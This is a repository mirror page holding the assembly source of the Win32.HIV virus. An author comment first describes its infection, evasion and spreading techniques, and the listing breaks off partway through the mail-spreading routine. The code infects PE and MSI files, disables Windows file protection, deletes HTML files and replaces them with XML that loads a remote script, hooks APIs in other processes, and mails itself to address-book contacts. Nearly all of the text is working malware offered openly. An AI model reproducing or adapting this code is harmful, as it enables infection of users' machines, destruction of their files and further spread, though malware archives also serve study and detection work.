ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2024-12-22 11:26:11 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity
6fd1c83ed4
MalwareSourceCode/Win32/Infector/Win32.Hiv.asm

2815 lines
77 KiB
NASM
Raw Normal View History

Add files via upload
2020-10-11 03:07:43 +00:00
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[HIV.ASM]<EFBFBD><EFBFBD><EFBFBD>
COMMENT#
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
<EFBFBD> Win32.HIV <EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
<EFBFBD> by Benny/29A <EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Finally I finished this virus... it took me more than 8 months to code it.
I hope you will like it and enjoy the new features it presents.
Here comes a deep description of Win32.HIV...
Kernel32 searching engine:
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
The virus can remember the last used base address of Kernel32.DLL. If the last
one is not valid, it can check the standard addresses, used under Win95/98/NT/2k.
Even if none of these addresses r valid, it can search thru address space of
current process and find the library. Everything of this is protected by
Structured Exception Handling.
API searching mechanism:
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
For Kernel32's APIz virus uses its own searching engine, using CRC32 instead
of stringz. For APIz from other libraries it uses GetProcAddress from K32.
Encryption of virus code:
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
The virus is encrypted by simple XOR mechanism, the encryption constant is
generated from the host code (the checksum). My idea for next viruses is
to code slow-polymorphic engine, where the shape of virus will depend on host
code checksum - something like "virus code depends on hosts DNA" :) AVerz will
have again some problems, becoz they will need to have enough different victim
filez to create valid pattern (for the scanner).
Direct action:
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
The virus infects ALL PE filez (also inside MSI filez) in current directory.
Infection of PE filez is done by appending to the last section. Infection of
PE filez inside MSIs is done by cavity algorithm:
- find a cave inside .code section
- put there viral code
- modify entrypoint
Into these PE filez not whole virus will be copied, but only a small chunk of
code, which will after execution display message and jump back to host. This
can be called as a payload.
The message loox like:
"[Win32.HIV] by Benny/29A"
"This cell has been infected by HIV virus, generation: " + 10-char number of
virus generation in decimal format.
EntryPoint Obscuring:
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Yeah, this virus also uses EPO, which means: virus doesn't modify entrypoint,
it is executed "in-the-middle" of execution of host program. Again, this is
trick to fuck heuristic analysis :)
It overwrites procedure's epilog by <jmp virus> instruction. The epilog loox
like:
pop edi 05Fh
pop esi 05Eh
pop ebx 05Bh
leave 0C9h
ret 0C3h
Even if the sequence couldn't be found it infects the file - this will take
AVerz some time to understand :)
Multi-process residency:
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
This virus is multi-process resident, which means it can become resident in
ALL process in the system, not only in the current one. Virus does:
- find some process
- allocate memory in process and copy there virus itself
- hook FindFirstFileA,FindNextFileA,CreateFileA,CopyFileA and MoveFileA APIz
- find another process to infect and all again...
Very efficent! Imagine - you have executed WinCommander and accidently you
will execute virus. The virus become resident in ALL process, including
WinCommander, so every file manipulation will be caught by virus. If you will
open any file under WinCommander, virus will infect it! :)
The infection runs in separated thread and execution is passed to host code,
so you should not recognize any system slow down. Also, the ExitProcess API is
hooked, so the process can be terminated only when the infection is finished.
Per-process residency - hooking Internet:
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Ah, yeah, this is really tricky stuff. The virus tries to hook InternetConnectA
API from WININET.DLL. If the host program will establish FTP connection, virus
will transfer itself by FTP to the root directory. And this really worx! :)
SFC stuff:
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
All Win2k compatbile infectorz used SfcIsFileProtected API to check if victim
files r protected by system and if so, they didn't infect them. This infector
can disable SFC under Win98/2k/ME, so ALL filez (even the system ones) can be
infected! I would like to thank Darkman for his ideaz and SFC code.
Mail spreading:
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
The virus finds in registry the location of default address book file of Outlook
Express, gets 5 mail addresses from there and sends there infected XML document
(see bellow).
HTML infection (XML stuff):
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Here I would like to thank Rajaat for his XSL idea (see XML stuff in 29A4).
The algorithm of HTML infection loox like:
- virus will disable showing extensions of HTML filez by adding "NeverShowExt"
item to file properties in registry
- then create exactly same icon for XML filez as HTML filez have (now in
explorer XML filez should look like HTML filez)
- find all .HTML filez in current directory
- delete them and create new filez with the same name and .HTML.XML extension
- write there XML code:
<?xml version="1.0"?>
<?xml:stylesheet type="text/xsl" href="http://coderz.net/benny/viruses/press.txt"?>
<i>This cell has been infected by HIV virus, generation: XXXXXXXXXX</i>
press.txt is XSL - XML stylesheet, which is loaded together with XML file and
can be placed anywhere on the internet. This XSL contains VBScript which will
infect computer. XML loox like clean - in fact, it is, but it uses template,
which is infected. I l0ve this stuff...:-)
NTFS stuff:
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
The virus compresses infected filez placed on NTFS, so the infected filez
are usually smaller than the clean copies...user should not recognize any
space eating...;) Also, it contains next payload - using file streamz on NTFS.
Every infected file on NTFS will have new stream ":HIV" containing message:
"This cell has been infected by HIV virus, generation: " + 10-char number of
virus generation in decimal format.
All of this does not work with MSI filez.
Anti-*:
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Yeah, the virus uses some anti-* featurez, against debuggerz (check "debug_stuff"
procedure), heuristics (SALC opcode, non-suspicious code, EPO) and AVerz
(infected PE files grows by 16384 bytes, about 6,5 kb of virus code, the rest
is data from the end of host - if you will open the file and go to EOF, you
will not find any virus :)
Other features:
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
The virus doesn't check extensions of victim files, it just opens the file and
chex the internal format, if the file is suitable for infection.
Also, the bug can correct the checksum of infected file (if it is needed), so
there should not be any problem with infection of some files under WinNT/2k.
Known bugz:
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Here I would like to thank Perikles and Paddingx for beta-testing Win32.HIV.
I tried to fix all possible bugz, but no program is bug-free, right? :P
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
<EFBFBD> Some comments <EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
That was the small description of the virus. I was coding it verz long time,
since the winter 2000, right after Win2k.Installer was released. My idea was to
code virus which could defeat OS "immunity". Heh, and becoz the HIV virus does
the same with human body, I decided to name my virus so.
This virus passed with me all my personal problems and happiness. This year
my life was like on the rolercoaster. Once up, once down. Everything important
that happened to me... there was this virus with me... I'm glad that I finished
it, but I also feel great nostalgy.
Well, I would like to greet some of my friends that helped me or just were
with me and created good atmosphere of all the year.
Darkman: That's a pity that we couldn't code next common virus. However,
thnx for yer help, yer moral support and everything... come
back to vx!
GriYo & Maia: It was really wonderful time in Brno. I'm glad that you came.
Just say weeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeed :)
Rajaat: Many many many thnx for the atmosphere you created on our
meeting... I really enjoyed it. Shroomz 4ever! :) btw, I want
those CDs of Timothy Leary and Kate Bush :-)
Ratter: Don't think you are, know you are!
Skag: Psychedelic drugz rulez :P
Perikles: Thanx for beta-testing dude!
Paddingx: ----------- " " ------------
GigaByte: Very nice time in Brno... but'ta... next time: speak slowly :)
Lada: Rather yes than ratter no :-) Thnx for the best holidayz I've
ever had.
Petra: H3y4, y4 g0t v3ry nIc3 b0dy :)
Queenie: /me hugs ya :D
Timothy Leary: Hey man, ya rule, yer death is the biggest lost for the world
in this age...
Thnx to Marilyn Manson, Beatles, BeeGees, Beach Boys, Timothy Leary,
Kate Bush (hi Rajaat :) and other groupz/ppl for inspiration.
#
PID equ 376
.386p ;386 protected mode instructions
.model flat ;flat model
include MZ.inc ;some important include files
include PE.inc
include Win32API.inc
include UseFul.inc
extrn ExitProcess:PROC ;APIs for first generation of virus
PROCESS_VM_OPERATION equ 0008h ;some equates
PROCESS_VM_READ equ 0010h
PROCESS_VM_WRITE equ 0020h
PROCESS_QUERY_INFORMATION equ 0400h
virus_size equ 16384 ;size of virus in the file and
;memory
@getsz macro msg2psh, reg ;macro to push NULL-terminated string
local next_instr ;to stack and pop address to register
call next_instr
db msg2psh,0
next_instr:
pop reg
endm
j_api macro API ;macro to construct JMP DWORD PTR [xxxxxxxx]
dw 25FFh
API dd ?
endm
.data
Start: ;start of virus in the file
push offset E_EPO ;save EPO address to stack (*)
epo_pos = dword ptr $-4
pushad ;store all registers
@SEH_SetupFrame <jmp end_host> ;setup SEH frame
call gdelta ;get delta offset
gdelta: pop ebp ;to EBP
lea esi,[ebp + encrypted - gdelta] ;get start of encrypted part
mov edi,esi ;save it to EDI
mov ecx,(end_virus-encrypted+3)/4 ;size of encrypted part in DWORDs
decrypt:db 0D6h ;SALC opcode - ANTI-heuristic
lodsd ;get encrypted byte
xor eax,12345678h ;decrypt it
decr_key = dword ptr $-4
stosd ;and save it
loop decrypt ;do it ECX-timez
encrypted: ;encrypted part of virus
db 0D6h ;anti-heuritic
call get_base ;get base address of K32
mov [ebp + k32_base - gdelta],eax ;save it
call get_apis ;get addresses of all needed APIs
call debug_stuff ;check for debugger
mov eax,12345678h ;get generation number to EAX
generation_count = dword ptr $-4
lea edi,[ebp + gcount - gdelta]
call Num2Ascii ;save generation number in
;decimal format
call sfc_stuff98 ;disable SFC under Win98
call sfc_stuffME ;disable SFC under WinME
call sfc_stuff2k ;disable SFC under Win2k
call html_stuff ;infect ALL HTML documents in
;current directory
;direct action - infect all PE filez in current directory
lea esi,[ebp + WFD - gdelta] ;WIN32_FIND_DATA structure
push esi ;save its address
@pushsz '*.*' ;search for all filez
call [ebp + a_FindFirstFileA - gdelta] ;find first file
inc eax
je e_find ;quit if not found
dec eax
push eax ;save search handle to stack
f_next: call CheckInfect ;infect found file
push esi ;save WFD structure
push dword ptr [esp+4] ;and search handle from stack
call [ebp + a_FindNextFileA - gdelta];find next file
test eax,eax
jne f_next ;and infect it
f_close:call [ebp + a_FindClose - gdelta] ;close search handle
e_find: call wab_parse ;get 5 addresses from .WAB file
call mapi_stuff ;and send there infected XML document
and dword ptr [ebp + r2rp - gdelta],0 ;set 0 - host program
and dword ptr [ebp + ep_patch - gdelta],0 ;semaphore for ExitProcess API
;now we will hook InternetConnectA API of host program
and dword ptr [ebp + inet_k32 - gdelta],0 ;use WININET library
lea eax,[ebp + newInternetConnectA - gdelta];address of new handler
sub eax,[ebp + image_base - gdelta] ;correct it to RVA
push eax ;save it
push 06810962Dh ;CRC32 of InternetConnectA
mov eax,400000h ;image base of host file
image_base = dword ptr $-4
call patch_IT ;hook API
mov [ebp + oldInternetConnectA - gdelta],eax;save old address
mov [ebp + inet_k32 - gdelta],ebp ;use K32 library
;now we will hook ExitProcess API of host program so host program could
;be terminated only when virus thread will finish its action
lea eax,[ebp + newExitProcess - gdelta] ;address of new handler
sub eax,[ebp + image_base - gdelta] ;correct it to RVA
push eax ;save it
push 040F57181h ;CRC32 of ExitProcess
mov eax,400000h ;image base of host file
image_base = dword ptr $-4
call patch_IT ;hook API
test eax,eax
je end_host ;quit if error
mov [ebp + oldExitProcess - gdelta],eax ;save old address
mov eax,cs ;get CS to EAX
xor al,al ;nulify LSB
test eax,eax ;EAX is 0, if we r
jne end_host ;under WinNT/2k...
;now we will create thread which will try to infect all K32s in all
;processes - multi-process residency
call _tmp
tmp dd ? ;temporary variable
_tmp: xor eax,eax
push eax
push ebp
lea edx,[ebp + searchThread - gdelta]
push edx
push eax
push eax
call [ebp + a_CreateThread - gdelta] ;create new thread
xchg eax,ecx
jecxz end_host ;quit if error
push eax
call [ebp + a_CloseHandle - gdelta] ;close its handle
end_host:
@SEH_RemoveFrame ;remove SEH frame
mov edi,[esp.cPushad] ;get EPO address (*)
mov eax,0C95B5E5Fh ;restore host code
stosd ;...
mov al,0C3h ;...
stosb ;...
popad ;restore all registers
ret ;and jump back to host
;this procedure can disable WinME's SFC
sfc_stuffME Proc
pushad ;store all registers
@SEH_SetupFrame <jmp end_seh> ;setup SEH frame
lea edi,[ebp + reg_buffer - gdelta] ;where to save path to windir
call get_win_dir ;get path
test eax,eax
je end_seh ;quit if error
push edi
add edi,eax
call @sfcme
db '\SYSTEM\sfp\sfpdb.sfp',0 ;store the path
@sfcme: pop esi
push 22
pop ecx
rep movsb
pop ebx
call Create_FileA ;open the file
inc eax
je end_seh
dec eax
xchg eax,esi
push 0
push esi
call [ebp + a_GetFileSize - gdelta] ;get file size to EDI
xchg eax,edi
mov [ebp + sfcme_size - gdelta],edi ;save it
push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push edi
push 0
call [ebp + a_VirtualAlloc - gdelta] ;allocate buffer for file
test eax,eax
je sfcme_file
xchg eax,ebx ;address to EBX
push 0
lea eax,[ebp + tmp - gdelta]
push eax
push edi
push ebx
push esi
call [ebp + a_ReadFile - gdelta] ;read file content to our buffer
pushad ;store all registerz
mov esi,ebx ;ESI - address of buffer
mov ecx,edi ;ECX - size of file
mov edi,esi ;EDI - ESI
push edi ;save base address of buffer
find_comma:
lodsb ;load byte
stosb ;store it
dec ecx ;decrement counter
cmp al,','
jne find_comma ;find comma
find_cr:dec esi
lodsw
dec ecx
cmp ax,0A0Dh
jne find_cr ;find CRLF sequence
mov eax,0A0D2C2Ch
stosd ;save commas and CRLF
inc ecx
loop find_comma ;do it in a loop
pop eax ;get base address of buffer
sub edi,eax ;EDI - size of data
mov [esp.Pushad_eax],edi ;save it
popad ;restore all registerz
push eax ;store size to stack
xor eax,eax
push eax
push eax
push eax
push esi ;move to beginning of file
call [ebp + a_SetFilePointer - gdelta]
pop ecx
push 0
lea eax,[ebp + tmp - gdelta]
push eax
push ecx
push ebx
push esi
call [ebp + a_WriteFile - gdelta] ;write modified data (unprotect
push esi ;filez under WinME :-)
call [ebp + a_SetEndOfFile - gdelta] ;set EOF
push MEM_DECOMMIT
push 12345678h
sfcme_size = dword ptr $-4
push ebx
call [ebp + a_VirtualFree - gdelta]
push MEM_RELEASE
push 0
push ebx
call [ebp + a_VirtualFree - gdelta] ;release buffer memory
jmp sfcme_file ;close file and quit
sfc_stuffME EndP
;this procedure can disable Win98's SFC
sfc_stuff98 Proc
pushad ;store all registers
@SEH_SetupFrame <jmp end_seh> ;setup SEH frame
lea edi,[ebp + reg_buffer - gdelta] ;where to save path to windir
call get_win_dir ;get path
test eax,eax
je end_seh ;quit if error
mov ebx,edi ;ECX = pointer to reg_buffer
add edi,eax
mov eax,'FED\' ;Store '\DEFAULT.SFC' after the
stosd ;Windows directory
mov eax,'TLUA'
stosd
mov eax,'CFS.'
stosd
call Create_FileA ;open file
inc eax
je end_seh ;quit if error
xchg eax,esi
dec esi ;ESI = file handle
lea eax,[ebp + tmp - gdelta]
push 0
push eax
push sfc98-_sfc98
call sfc98
_sfc98: db 'VF',00h,01h,01h,0Fh dup(00h),'F',00h,00h,03h,00h,'C:\'
sfc98: push esi ;write new SFC record - disable
call [ebp + a_WriteFile - gdelta] ;SFC under Win98 :-)
push esi
call [ebp + a_SetEndOfFile - gdelta] ;truncate file
sfcme_file:
push esi
call [ebp + a_CloseHandle - gdelta] ;close file
jmp end_seh ;and quit
sfc_stuff98 EndP
;retrieve windows directory path from registry to EDI
get_win_dir:
push MAX_PATH
push edi
@pushsz 'windir' ;store path to windows directory
call [ebp + a_GetEnvironmentVariableA - gdelta]
ret
;this procedure can disable Win2k's SFC
sfc_stuff2k Proc
pushad ;store all registers
@SEH_SetupFrame <jmp end_seh> ;setup SEH frame
@getsz '\WINNT\System32\sfcfiles.dll',edi ;path+filename
lea eax,[ebp + WFD - gdelta]
push eax
push edi ;find SFCFILES.DLL file
sfcfile:call [ebp + a_FindFirstFileA - gdelta]
inc eax
je end_seh ;quit if not found
dec eax
mov [ebp + find_handle - gdelta],eax;save it handle
lea ebx,[ebp + WFD.WFD_szFileName - gdelta]
call Create_FileA ;open file
inc eax
je end_sfc
dec eax
mov [ebp + hsFile - gdelta],eax ;save handle
call Create_FileMappingA ;create file mapping object
xchg eax,ecx
jecxz end_scfile
mov [ebp + hsMapFile - gdelta],ecx ;save handle
call Map_ViewOfFile ;and map view of file to our
xchg eax,ecx ;address space
jecxz end_smfile
mov [ebp + lpsFile - gdelta],ecx ;save handle
movzx eax,word ptr [ecx]
add eax,-"ZM"
jne end_sfile ;must be MZ file
mov ebx,[ecx.MZ_lfanew]
add ebx,ecx ;move to PE header
movzx edx,word ptr [ebx.NT_FileHeader.FH_SizeOfOptionalHeader]
lea edx,[edx+ebx+(3*IMAGE_SIZEOF_FILE_HEADER+4)]
;get to second section header
cmp [edx],'tad.' ;must be ".data"
jne end_sfile
cmp byte ptr [edx+4],'a'
jne end_sfile
mov esi,[edx.SH_PointerToRawData] ;get start of .data section
add esi,ecx ;make pointer RAW
mov ecx,[edx.SH_SizeOfRawData] ;get size of .data section
sfc_parse:
and dword ptr [esi],0 ;nulify everything in that
lodsd ;section
sub ecx,3 ;correct counter
loop sfc_parse ;do it ECX-timez
end_sfile:
push 12345678h
lpsFile = dword ptr $-4
call [ebp + a_UnmapViewOfFile - gdelta];unmap view of file from
end_smfile: ;our address space
push 12345678h
hsMapFile = dword ptr $-4
call [ebp + a_CloseHandle - gdelta] ;close handle of mapping object
end_scfile:
lea eax,[ebp + WFD.WFD_ftLastWriteTime - gdelta]
push eax
lea eax,[ebp + WFD.WFD_ftLastAccessTime - gdelta]
push eax
lea eax,[ebp + WFD.WFD_ftCreationTime - gdelta]
push eax
push dword ptr [ebp + hsFile - gdelta]
call [ebp + a_SetFileTime - gdelta] ;set back file time
push 12345678h
hsFile = dword ptr $-4
call [ebp + a_CloseHandle - gdelta] ;close file
end_sfc:push 12345678h
find_handle = dword ptr $-4
call [ebp + a_FindClose - gdelta] ;close search handle
jmp end_seh ;and quit from procedure
sfc_stuff2k EndP
;this procedure can:
;1) hide .XML extensions by registry modification
;2) assign .HTML icon to .XML files - .XML filez loox like .HTML file then
;3) find all .HTML filez in current directory, delete them and instead of them
; create .HTML.XML file with "infected" XML inside
;4) get path+filename to standard Outlook Express'es address book (.WAB file)
; from registry
html_stuff Proc
@pushsz 'ADVAPI32'
call [ebp + a_LoadLibraryA - gdelta] ;load ADVAPI32.DLL library
test eax,eax
jne n_load_xml
ret ;quit if error
n_load_xml:
xchg eax,ebx ;EBX = base of ADVAPI32.DLL
@getsz 'RegCreateKeyA',edx
call @get_api ;get address of RegCreateKeyA API
xchg eax,ecx
jecxz end_xml_lib
mov esi,ecx ;ESI = RegCreateKeyA
@getsz 'RegSetValueExA',edx
call @get_api ;get address of RegSetValueA API
xchg eax,ecx
jecxz end_xml_lib
mov edi,ecx ;EDI = RegSetValueExA
@getsz 'RegCloseKey',edx
call @get_api ;get address of RegCloseKey API
xchg eax,ecx
jecxz end_xml_lib
mov [ebp + a_RegCloseKey - gdelta],ecx;save it
call hide_xml ;hide .XML
call chg_xml_icon ;.XML icon = .HTML icon
call search_html ;infect all .HTML filez in
;current directory
end_xml_reg:
push 12345678h
reg_key = dword ptr $-4
call [ebp + a_RegCloseKey - gdelta] ;close registry key
end_xml_reg2:
push dword ptr [ebp + tmp - gdelta]
mov eax,12345678h
a_RegCloseKey = dword ptr $-4
call eax ;...
end_xml_lib:
push ebx
call [ebp + a_FreeLibrary - gdelta] ;unload ADVAPI32.DLL library
ret ;and quit
;this procedure can copy icon from .html to .xml filez and get path+filename of
;default WAB file
chg_xml_icon:
lea ecx,[ebp + reg_key - gdelta]
push ecx
@pushsz 'htmlfile'
push 80000000h
call esi ;open "HKEY_CLASSES_ROOT\htmlfile"
test eax,eax
pop eax
jne end_xml_reg2 ;quit if error
push eax
@getsz 'RegQueryValueA',edx
call @get_api ;get address of RegQueryValueA API
xchg eax,ecx ;ECX = RegQueryValueA
jecxz end_xml_lib
pushad ;store all registers
call @pword1
dd MAX_PATH
@pword1:lea eax,[ebp + wab_buffer - gdelta]
push eax
@pushsz 'Software\Microsoft\WAB\WAB4\Wab File Name'
push 80000001h
call ecx ;copy value of "HKEY_CURRENT_USER\
popad ;\Software\Microsoft\WAB\WAB4\Wab File Name"
;to wab_buffer variable - path+filename of WAB file
call @pword2
dd MAX_PATH
@pword2:lea eax,[ebp + reg_buffer - gdelta]
push eax
call @dicon
def_ico:db 'DefaultIcon',0
@dicon: push dword ptr [ebp + reg_key - gdelta]
call ecx ;get value of "HKEY_CLASSES_ROOT\htmlfile\DefaultIcon"
test eax,eax ;to reg_buffer
pop eax
jne end_xml_reg
push eax
lea ecx,[ebp + tmp - gdelta]
push ecx
lea ecx,[ebp + def_ico - gdelta]
push ecx
push dword ptr [ebp + tmp - gdelta]
call esi ;open "HKEY_CLASSES_ROOT\xmlfile\DefaultIcon"
test eax,eax
pop eax
jne end_xml_reg2
push eax
lea esi,[ebp + reg_buffer - gdelta]
mov ecx,esi
@endsz
sub esi,ecx
push esi
push ecx
push 2
push 0
push 0
push dword ptr [ebp + tmp - gdelta]
call edi ;write icon from \htmlfile to \xmlfile
test eax,eax ;error?
pop eax ;get return address
jne end_xml_reg ;quit
jmp eax ;continue
;address for getting API addresses
;EBX - base of library
;EDX - name of API
@get_api:
push edx
push ebx
call [ebp + a_GetProcAddress - gdelta]
ret
;this procedure can hide extension of .XML filez
hide_xml:
lea ecx,[ebp + tmp - gdelta]
push ecx
@pushsz 'xmlfile'
push 80000000h
call esi ;open "HKEY_CLASSES_ROOT\xmlfile"
test eax,eax
pop eax
jne end_xml_lib
push eax
push 0
push ebp
push 1
push 0
@pushsz 'NeverShowExt'
push dword ptr [ebp + tmp - gdelta]
call edi ;create new item - NeverShowExt - this will
test eax,eax ;hide .XML extension under Windows.
pop eax
jne end_xml_lib
jmp eax
;this procedure can infect all .HTML documents in current directory
search_html:
pushad ;store all registers
lea ebx,[ebp + WFD - gdelta] ;address of WFD record
push ebx
@pushsz '*.html' ;find some .HTML file
call [ebp + a_FindFirstFileA - gdelta]
inc eax
je end_html_search ;quit if no .HTML file was found
dec eax
mov [ebp + fhtmlHandle - gdelta],eax;save search handle
i_html: call infect_html ;infect .HTML file
push ebx ;WFD record
push 12345678h ;search handle
fhtmlHandle = dword ptr $-4
call [ebp + a_FindNextFileA - gdelta];find next .HTML file
test eax,eax
jne i_html ;and infect it
push dword ptr [ebp + fhtmlHandle - gdelta]
call [ebp + a_FindClose - gdelta] ;close search handle
end_html_search:
popad ;restore all registers
ret ;and quit from procedure
;this procedure can infect found .HTML file
infect_html:
pushad ;store all registers
lea esi,[ebx.WFD_szFileName] ;found .HTML file
push esi
call [ebp + a_DeleteFileA - gdelta] ;delete it
push esi
@endsz
dec esi
mov eax,'lmx.'
mov edi,esi
stosd ;create .XML extension
xor al,al
stosb
pop ebx
g_xml: call Create_FileA ;create .HTML.XML file
xchg eax,edi
inc edi
je end_infect_html
dec edi
push 0
call @wftmp
dd ?
@wftmp: push end_xml-start_xml
call end_xml
start_xml: ;start of "infected" XML document
db '<?xml version="1.0"?>'
db '<?xml:stylesheet type="text/xsl" href="http://coderz.net/benny/viruses/press.txt"?>'
db '<i>'
end_xml:push edi
call [ebp + a_WriteFile - gdelta] ;write first part of XML document
push 0
lea ebx,[ebp + @wftmp-4 - gdelta]
push ebx
push szMsg-1-p_msg
lea eax,[ebp + p_msg - gdelta]
push eax
push edi
call [ebp + a_WriteFile - gdelta] ;write message to XML document
push 0
push ebx
push 4
call @endxml
db '</i>'
@endxml:push edi
call [ebp + a_WriteFile - gdelta] ;and final tag
push edi
call [ebp + a_CloseHandle - gdelta] ;close file
end_infect_html:
popad ;restore all registers
ret ;and quit - HTML is now infected :)
html_stuff EndP
;create infected c:\press.xml file
@i_html:pushad
@getsz 'c:\press.xml',ebx
jmp g_xml
;this procedure can send "infected" XML document to 5 mail addresses via MAPI32
mapi_stuff Proc
pushad
call @i_html ;generate XML file
@pushsz 'MAPI32' ;load MAPI32.DLL library
call [ebp + a_LoadLibraryA - gdelta]
test eax,eax
je end_infect_html
xchg eax,ebx ;EBX - base of MAPI32
@getsz 'MAPILogon',edx
call @get_api ;get address of MAPILogon API
test eax,eax
je end_mapi
xchg eax,esi ;ESI - address of MAPILogon
@getsz 'MAPILogoff',edx
call @get_api ;get address of MAPILogoff API
test eax,eax
je end_mapi
xchg eax,edi ;EDI - address of MAPILogoff
@getsz 'MAPISendMail',edx
call @get_api ;get address of MAPISendMail API
test eax,eax
